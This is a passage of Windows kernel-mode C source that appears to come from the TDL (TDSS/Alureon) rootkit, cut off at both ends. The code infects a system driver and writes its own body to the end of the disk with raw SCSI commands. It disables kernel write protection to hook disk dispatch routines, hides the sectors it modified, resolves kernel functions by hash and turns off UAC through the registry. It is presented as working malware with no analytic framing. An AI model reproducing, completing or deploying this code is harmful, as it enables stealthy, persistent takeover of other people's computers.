  615.         GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a')));
  616.     }
  617.     GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0;
  618.     GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
  619.     while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER)
  620.     {
  621.         GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice;
  622.     }
  623.     if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize)))
  624.     {
  625.         WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0};
  626.         PIMAGE_NT_HEADERS pinhHeader;
  627.         PIMAGE_NT_HEADERS pinhHeaderCache;
  628.         PIMAGE_SECTION_HEADER pishHeader;
  629.         PVOID pvMJStub;
  630.         DWORD dwOldCR0;
  631.         STARTING_VCN_INPUT_BUFFER svibBuffer={};
  632.         RETRIEVAL_POINTERS_BUFFER rpbBuffer;
  633.         WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0};
  634.         UNICODE_STRING usName;
  635.         HANDLE hPartition;
  636.         DWORD dwClasterSize;
  637.         OBJECT_ATTRIBUTES oaAttributes;
  638.         IO_STATUS_BLOCK iosbStatus;
  639.         FILE_FS_FULL_SIZE_INFORMATION fffsiInfo;
  640.         PARTITION_INFORMATION piInfo;
  641.         DWORD dwFirstSector=0;
  642.         BOOT_SECTOR bsSector;
  643.         MARK_HANDLE_INFO mhiInfo;
  644.         DWORD dwRsrcOffset;
  645.         PVOID pvRsrcOriginalOffset;
  646.         DWORD dwRsrcSize;
  647.         DWORD dwSector;
  648.         HANDLE hSection;
  649.         PVOID pvFile=0;
  650.         PWORK_QUEUE_ITEM pwqiThread;
  651.  
  652.         _snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1,
  653.             wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory);
  654.         wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot;
  655.         RtlInitUnicodeString(&usName,wcPartition);
  656.         InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  657.         if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
  658.         {
  659.             WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT;
  660.  
  661.             mhiInfo.VolumeHandle=hPartition;
  662.             mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS;
  663.             mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT;
  664.             ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0);
  665.             ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation);
  666.             ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo));
  667.             GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector;
  668.             dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector;
  669.             if(NT_SUCCESS(ZwReadFile(hPartition,0,0,0,&iosbStatus,&bsSector,sizeof(bsSector),0,0)))
  670.             {
  671.                 dwFirstSector=bsSector.wReservedSectors+(bsSector.bNumberOfFats*bsSector.dwBigSectorsPerFat)+((bsSector.wRootEntries*32)+(bsSector.wBytesPerSector-1))/bsSector.wBytesPerSector;
  672.             }
  673.             ZwClose(hPartition);
  674.             GET_TDL_ADDRESSES->dwFSLastClaster=1;
  675.             GET_TDL_ADDRESSES->dwDriverCodeSector=(DWORD)_alldiv(GET_TDL_ADDRESSES->ullFSOffset,(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
  676.             GET_TDL_ADDRESSES->dwFirstHiddenSector=GET_TDL_ADDRESSES->dwDriverCodeSector;
  677.             memset(GET_TDL_ADDRESSES->thsSectors,0,sizeof(GET_TDL_ADDRESSES->thsSectors));
  678.             pinhHeader=RtlImageNtHeader(GET_TDL_ADDRESSES->pdoDriver->DriverStart);
  679.             pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
  680.             pvMJStub=RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverStart,pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize);
  681.             GET_TDL_ADDRESSES->pddMJ=ADDRESS_DELTA(PDRIVER_DISPATCH,MJDispatch);
  682.             dwOldCR0=__readcr0();
  683.             __writecr0(dwOldCR0&~(1<<16));
  684.             memcpy(pvMJStub,ADDRESS_DELTA(PVOID,MJStub),(DWORD_PTR)TDLInit-(DWORD_PTR)MJStub);
  685.             __writecr0(dwOldCR0);
  686.             memcpy(GET_TDL_ADDRESSES->pddDiskMJ,GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pddDiskMJ));
  687. #ifdef _WIN64
  688.             RtlFillMemoryUlonglong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
  689. #else
  690.             RtlFillMemoryUlong(GET_TDL_ADDRESSES->pdoDriver->MajorFunction,sizeof(GET_TDL_ADDRESSES->pdoDriver->MajorFunction),pvMJStub);
  691. #endif
  692.             dwRsrcOffset=RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
  693.             pvRsrcOriginalOffset=RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE));
  694.             dwRsrcSize=TDL_START_SIZE;
  695.             while(dwRsrcSize>0)
  696.             {
  697.                 DWORD dwPartSize;
  698.  
  699.                 dwPartSize=GET_TDL_ADDRESSES->dwSectorSize-(dwRsrcOffset%GET_TDL_ADDRESSES->dwSectorSize);
  700.                 if(dwPartSize>dwRsrcSize)
  701.                 {
  702.                     dwPartSize=dwRsrcSize;
  703.                 }
  704.                 HIDDEN_SECTOR_ADD(0,dwRsrcOffset,dwPartSize,pvRsrcOriginalOffset);
  705.                 dwRsrcSize-=dwPartSize;
  706.                 dwRsrcOffset+=dwPartSize;
  707.                 pvRsrcOriginalOffset=RtlOffsetToPointer(pvRsrcOriginalOffset,dwPartSize);
  708.             }
  709.             HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress);
  710.             HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size),sizeof(DWORD),&pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size);
  711.             HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.AddressOfEntryPoint),sizeof(DWORD),&pinhHeader->OptionalHeader.AddressOfEntryPoint);
  712.             HIDDEN_SECTOR_ADD(0,RtlPointerToOffset(GET_TDL_ADDRESSES->pdoDriver->DriverStart,&pinhHeader->OptionalHeader.CheckSum),sizeof(DWORD),&pinhHeader->OptionalHeader.CheckSum);
  713.             for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
  714.             {
  715.                 svibBuffer.StartingVcn.QuadPart=(ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset/dwClasterSize);
  716.                 ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_GET_RETRIEVAL_POINTERS,&svibBuffer,sizeof(svibBuffer),&rpbBuffer,sizeof(rpbBuffer));
  717.                 GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset=dwFirstSector+(DWORD)_alldiv((ULONGLONG)(GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+piInfo.StartingOffset.QuadPart+_allmul(rpbBuffer.Extents[0].Lcn.QuadPart,(LONGLONG)dwClasterSize)),(ULONGLONG)GET_TDL_ADDRESSES->dwSectorSize);
  718.                 GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset%=GET_TDL_ADDRESSES->dwSectorSize;
  719.             }
  720.             ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,hDriver);
  721.             dwSize=0;
  722.             ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&dwSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE);
  723.             ZwClose(hSection);
  724.             pinhHeaderCache=RtlImageNtHeader(pvFile);
  725.             pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
  726.             pinhHeaderCache->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
  727.             pinhHeaderCache->OptionalHeader.AddressOfEntryPoint=pinhHeader->OptionalHeader.AddressOfEntryPoint;
  728.             pinhHeaderCache->OptionalHeader.CheckSum=pinhHeader->OptionalHeader.CheckSum;
  729.             memcpy(RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),TDL_START_SIZE);
  730.             ZwUnmapViewOfSection(NtCurrentProcess(),pvFile);
  731.             //ZwClose(hDriver);
  732.             TDLFSInit();
  733.             _snwprintf(GET_TDL_ADDRESSES->wcTDLConfig,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLConfig)-1,wcIniFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);
  734.            
  735.             //////////////////////////////////////////////////////////////////////////
  736.             /*
  737. CHAR cDebug[]={'U','P','D','%','w','s',' ','%','d','\n',0};
  738.             CHAR cSection[]={'m','a','i','n',0};
  739.             CHAR cKey[]={'r','e','b','o','o','t','s',0};
  740.            
  741.             DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,
  742.                 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));
  743.            
  744.             TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
  745.                 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
  746.            
  747.             DbgPrint(cDebug,GET_TDL_ADDRESSES->wcTDLConfig,TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0));
  748.  
  749.            
  750.  
  751.             TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,
  752.                 TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cKey,0)+1);
  753. */
  754.  
  755.             //////////////////////////////////////////////////////////////////////////
  756.             GET_TDL_ADDRESSES->pvLoadLibraryExA=0;
  757.            
  758.             /*
  759. WCHAR wcIniFormat2[]={L'%',L's',L'\\',L'%',L's',L'\\',L'm',L'u',L't',L'e',L'x','.',L't',L'm',L'p',0};
  760.             WCHAR wcFile[MAX_PATH];
  761.  
  762.             _snwprintf(wcFile,RTL_NUMBER_OF(wcFile)-1,wcIniFormat2,
  763.                 GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory);
  764.  
  765.             CHAR cMsg[]={'i','s','a','f','t','e','\n',0};
  766.             DbgPrint(cMsg);
  767.  
  768.             BOOL bRet=FALSE;
  769.  
  770.             HANDLE hFile=0;
  771.             UNICODE_STRING usFile;
  772.             OBJECT_ATTRIBUTES oaAttributes;
  773.             IO_STATUS_BLOCK iosbStatus;
  774.  
  775.             RtlInitUnicodeString(&usFile,wcFile);
  776.             InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  777.  
  778.             bRet=NT_SUCCESS(ZwOpenFile(hFile,FILE_WRITE_DATA|FILE_READ_DATA|SYNCHRONIZE,
  779.                 &oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT));
  780.  
  781.             if(!bRet)
  782.             {
  783.                 CHAR cMsg1[]={'c','r','e','a','t','\n',0};
  784.                 DbgPrint(cMsg1);
  785.  
  786.                 ZwCreateFile(&hFile,SYNCHRONIZE|GENERIC_WRITE,&oaAttributes,&iosbStatus,0,0,
  787.                     FILE_SHARE_READ,FILE_CREATE,FILE_SYNCHRONOUS_IO_NONALERT,0,0);
  788.             }
  789.             else
  790.             {
  791.                 CHAR cMsg2[]={'o','p','e','n','o','k','\n',0};
  792.                 DbgPrint(cMsg2);
  793.  
  794.                 PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
  795.             }
  796.  
  797.             if(hFile) ZwClose(hFile);
  798. */
  799.  
  800.             PsSetLoadImageNotifyRoutine(ADDRESS_DELTA(PLOAD_IMAGE_NOTIFY_ROUTINE,LoadImageNotify));
  801.  
  802.             pwqiThread=(PWORK_QUEUE_ITEM)ExAllocatePool(NonPagedPool,sizeof(WORK_QUEUE_ITEM));
  803.             if(pwqiThread!=0)
  804.             {
  805.                 ExInitializeWorkItem(pwqiThread,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIKnock),pwqiThread);
  806.  
  807.                 ExQueueWorkItem(pwqiThread,DelayedWorkQueue);
  808.             }
  809.             //KADInit();
  810.             WCHAR wcUAC[]={'\\','r','e','g','i','s','t','r','y','\\','m','a','c','h','i','n','e','\\',
  811.                 'S','O','F','T','W','A','R','E','\\','M','i','c','r','o','s','o','f','t','\\',
  812.                 'W','i','n','d','o','w','s','\\','C','u','r','r','e','n','t','V','e','r','s','i','o','n','\\',
  813.                 'P','o','l','i','c','i','e','s','\\','S','y','s','t','e','m',0};
  814.            
  815.             WCHAR wcUACName[]={'E','n','a','b','l','e','L','U','A',0};
  816.             DWORD dwUAC=0;
  817.  
  818.             RtlWriteRegistryValue(RTL_REGISTRY_ABSOLUTE,wcUAC,wcUACName,REG_DWORD,&dwUAC,sizeof(dwUAC));
  819.         }
  820.     }
  821.     return STATUS_SUCCESS;
  822. }
  823.  
  824. NTSTATUS Reinitialize(PDEVICE_OBJECT pdoDevice,BOOLEAN bFsActive)
  825. {
  826.     WCHAR wcFormat[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',L'\\',L's',L'y',L's',L't',L'e',L'm',L'3',L'2',L'\\',L'd',L'r',L'i',L'v',L'e',L'r',L's',L'\\',L'%',L's','.',L's',L'y',L's',0};
  827.     WCHAR wcDriver[MAX_PATH];
  828.     OBJECT_ATTRIBUTES oaAttributes;
  829.     UNICODE_STRING usFile;
  830.     IO_STATUS_BLOCK iosbStatus;
  831.     HANDLE hDriver;
  832.  
  833.     _snwprintf(wcDriver,RTL_NUMBER_OF(wcDriver),wcFormat,RtlOffsetToPointer(GET_TDL_ADDRESSES->pdoDriver->DriverName.Buffer,sizeof(L"\\driver")));
  834.     RtlInitUnicodeString(&usFile,wcDriver);
  835.     InitializeObjectAttributes(&oaAttributes,&usFile,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  836.     if(NT_SUCCESS(ZwOpenFile(&hDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT)))
  837.     {
  838.         TDLInit(hDriver);
  839.        
  840.         if(pdoDevice!=0)
  841.         {
  842.             IoUnregisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
  843.         }
  844.         return STATUS_SUCCESS;
  845.     }
  846.     return STATUS_OBJECT_NAME_NOT_FOUND;
  847. }
  848.  
  849. __declspec(noinline) VOID TDLEnd()
  850. {
  851.     return;
  852. }
  853.  
  854. NTSTATUS TDLStart(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
  855. {
  856.     PTDL_START ptsStart;
  857.     DWORD dwDelta;
  858.     PIMAGE_NT_HEADERS pinhHeader;
  859.     PIMAGE_SECTION_HEADER pishHeader;
  860.     DWORD dwSection;
  861.  
  862.     __asm
  863.     {
  864.         call delta
  865.         delta:
  866.         pop eax
  867.         sub eax,offset delta
  868.         mov [dwDelta],eax
  869.     }
  870.     ptsStart=(PTDL_START)RtlOffsetToPointer(TDLStart,dwDelta+TDL_START_SIZE-sizeof(TDL_START));
  871.     if((DWORD_PTR)pusRegistry>1)
  872.     {
  873.         PVOID pvKernel;
  874.         PLIST_ENTRY pleEntry;
  875.  
  876.         pleEntry=((PLDR_DATA_TABLE_ENTRY)pdoDriver->DriverSection)->InLoadOrderLinks.Flink;
  877.         while(CONTAINING_RECORD(pleEntry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->LoadCount!=0)
  878.         {
  879.             pleEntry=pleEntry->Flink;
  880.         }
  881.         pvKernel=CONTAINING_RECORD(pleEntry->Flink,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks)->DllBase;
  882.         ((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemCallPad[0]=(ULONGLONG)((PExAllocatePool)RtlOffsetToPointer(pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,sizeof(TDL_ADDRESSES));
  883.         GET_TDL_ADDRESSES->pvKernel=pvKernel;
  884.         GET_TDL_ADDRESSES->pdoDriver=pdoDriver;
  885.         pinhHeader=(PIMAGE_NT_HEADERS)RtlOffsetToPointer(pdoDriver->DriverStart,((PIMAGE_DOS_HEADER)pdoDriver->DriverStart)->e_lfanew);
  886.         pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
  887.         for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
  888.         {
  889.             pishHeader->Characteristics&=~IMAGE_SCN_MEM_DISCARDABLE;
  890.             if(*(PDWORD)pishHeader->Name=='TINI')
  891.             {
  892.                 *pishHeader->Name=0;
  893.             }
  894.             pishHeader++;
  895.         }
  896.         ((PIoRegisterFsRegistrationChange)RtlOffsetToPointer(pvKernel,ptsStart->pIoRegisterFsRegistrationChange))(pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer(TDLStart,dwDelta));
  897.         return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(pdoDriver->DriverStart,ptsStart->pdiOEP))(pdoDriver,pusRegistry);
  898.     }
  899.     else
  900.     {
  901.         PDEVICE_OBJECT pdoDevice;
  902.  
  903.         GET_TDL_ADDRESSES->pvDriverCode=((PExAllocatePool)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pExAllocatePool))(NonPagedPool,ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
  904.         pdoDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
  905.         while(pdoDevice!=0)
  906.         {
  907.             BYTE bDeviceName[MAX_PATH];
  908.             DWORD dwSize;
  909.  
  910.             if(NT_SUCCESS(((PObQueryNameString)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pObQueryNameString))(pdoDevice,(POBJECT_NAME_INFORMATION)bDeviceName,sizeof(bDeviceName),&dwSize)))
  911.             {
  912.                 OBJECT_ATTRIBUTES oaAttributes;
  913.                 IO_STATUS_BLOCK iosbStatus;
  914.                 LARGE_INTEGER liOffset;
  915.                 HANDLE hDisk;
  916.  
  917.                 liOffset.QuadPart=ptsStart->ullDriverCodeOffset;
  918.                 InitializeObjectAttributes(&oaAttributes,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  919.                 if(NT_SUCCESS(((PZwOpenFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwOpenFile))(&hDisk,FILE_READ_DATA|FILE_WRITE_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH))
  920.                     &&NT_SUCCESS(((PZwReadFile)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pZwReadFile))(hDisk,0,0,0,&iosbStatus,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),&liOffset,0))
  921.                     &&(*(PDWORD)GET_TDL_ADDRESSES->pvDriverCode==TDL_SIGNATURE))
  922.                 {
  923.                     ((PIoUnregisterFsRegistrationChange)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvKernel,ptsStart->pIoUnregisterFsRegistrationChange))(GET_TDL_ADDRESSES->pdoDriver,(PDRIVER_FS_NOTIFICATION)RtlOffsetToPointer((DWORD_PTR)dwDelta,TDLStart));
  924.                     return ((PDRIVER_INITIALIZE)RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE))(GET_TDL_ADDRESSES->pdoDriver,(PUNICODE_STRING)pdoDevice);
  925.                 }
  926.             }
  927.             pdoDevice=pdoDevice->NextDevice;
  928.         }
  929.     }
  930.     return STATUS_SUCCESS;
  931. }
  932.  
  933. NTSTATUS DriverInfect(PWCHAR pwcDriver,PDEVICE_OBJECT pdoDevice,PHANDLE phDriver)
  934. {
  935.     NTSTATUS ntsResult;
  936.     READ_CAPACITY_DATA rcdData;
  937.  
  938.     ntsResult=STATUS_VOLUME_DIRTY;
  939.     if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_READ_CAPACITY,SRB_FLAGS_DATA_IN,&rcdData,sizeof(rcdData),0)))
  940.     {
  941.         LARGE_INTEGER liOffset;
  942.  
  943.         liOffset.QuadPart=_allmul((ULONGLONG)_byteswap_ulong(rcdData.LogicalBlockAddress),(ULONGLONG)_byteswap_ulong(rcdData.BytesPerBlock))-ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200);
  944.         GET_TDL_ADDRESSES->ullFSOffset=liOffset.QuadPart;
  945.         ntsResult=STATUS_INSUFFICIENT_RESOURCES;
  946.         GET_TDL_ADDRESSES->pvDriverCode=ExAllocatePool(NonPagedPool,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200));
  947.         if(GET_TDL_ADDRESSES->pvDriverCode!=0)
  948.         {
  949.             DWORD dwSectorOffset;
  950.             OBJECT_ATTRIBUTES oaAttributes;
  951.             IO_STATUS_BLOCK iosbStatus;
  952.             UNICODE_STRING usDriver;
  953.  
  954.             RtlInitUnicodeString(&usDriver,pwcDriver);
  955.             InitializeObjectAttributes(&oaAttributes,&usDriver,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
  956.             ntsResult=STATUS_FILE_LOCK_CONFLICT;
  957.             if(NT_SUCCESS(ZwOpenFile(phDriver,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ,FILE_SYNCHRONOUS_IO_NONALERT|FILE_WRITE_THROUGH)))
  958.             {
  959.                 FILE_STANDARD_INFORMATION fsiInfo;
  960.  
  961.                 if(NT_SUCCESS(ZwQueryInformationFile(*phDriver,&iosbStatus,&fsiInfo,sizeof(fsiInfo),FileStandardInformation)))
  962.                 {
  963.                     HANDLE hSection;
  964.  
  965.                     if(NT_SUCCESS(ZwCreateSection(&hSection,SECTION_ALL_ACCESS,0,0,PAGE_READWRITE,SEC_COMMIT,*phDriver)))
  966.                     {
  967.                         SIZE_T stSize=0;
  968.                         PVOID pvFile=0;
  969.                        
  970.                         if(NT_SUCCESS(ZwMapViewOfSection(hSection,NtCurrentProcess(),&pvFile,0,0,0,&stSize,ViewUnmap,MEM_TOP_DOWN,PAGE_READWRITE)))
  971.                         {
  972.                             PIMAGE_NT_HEADERS pinhHeader;
  973.                             TDL_START tsStart;
  974.  
  975.                             *(PDWORD)GET_TDL_ADDRESSES->pvDriverCode=TDL_SIGNATURE;
  976.                             pinhHeader=RtlImageNtHeader(pvFile);
  977.                             memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)),RtlOffsetToPointer(pvFile,RvaToFileOffset(pinhHeader,pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress)),TDL_START_SIZE);
  978.                             memcpy(RtlOffsetToPointer(GET_TDL_ADDRESSES->pvDriverCode,sizeof(TDL_SIGNATURE)+TDL_START_SIZE),TDLEntry,(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry);
  979.                             dwSectorOffset=(DWORD)_alldiv(liOffset.QuadPart,(ULONGLONG)0x200);
  980.                             ntsResult=STATUS_MEDIA_WRITE_PROTECTED;
  981.                             if(NT_SUCCESS(SCSICmd(GET_TDL_ADDRESSES->pdoDeviceDisk,GET_TDL_ADDRESSES->pdoDeviceDisk->DriverObject->MajorFunction[IRP_MJ_SCSI],SCSIOP_WRITE,SRB_FLAGS_DATA_OUT,GET_TDL_ADDRESSES->pvDriverCode,(DWORD)ALIGNUP(sizeof(TDL_SIGNATURE)+TDL_START_SIZE+(DWORD_PTR)TDLEnd-(DWORD_PTR)TDLEntry,0x200),dwSectorOffset)))
  982.                             {
  983.                                 ntsResult=STATUS_SUCCESS;
  984.                                 GET_TDL_ADDRESSES->pvKernel=GetNtoskrnlBase();
  985.                                 tsStart.pExAllocatePool=(PExAllocatePool)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xde45e96c));
  986.                                 tsStart.pdiOEP=(PDRIVER_INITIALIZE)(DWORD_PTR)pinhHeader->OptionalHeader.AddressOfEntryPoint;
  987.                                 tsStart.pObQueryNameString=(PObQueryNameString)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xacc76391));
  988.                                 tsStart.pZwOpenFile=(PZwOpenFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe1958d63));
  989.                                 tsStart.ullDriverCodeOffset=liOffset.QuadPart;
  990.                                 tsStart.pZwReadFile=(PZwReadFile)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xba157c0f));
  991.                                 tsStart.pIoRegisterFsRegistrationChange=(PIoRegisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0xe59d219f));
  992.                                 tsStart.pIoUnregisterFsRegistrationChange=(PIoUnregisterFsRegistrationChange)(DWORD_PTR)RtlPointerToOffset(GET_TDL_ADDRESSES->pvKernel,GetProcedureAddressByHash(GET_TDL_ADDRESSES->pvKernel,0x9a77f3d8));
  993.                                 tsStart.dwSectionSecurityVirtualAddress=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress;
  994.                                 tsStart.dwSectionSecuritySize=pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size;
  995.                                 tsStart.dwCheckSum=pinhHeader->OptionalHeader.CheckSum;
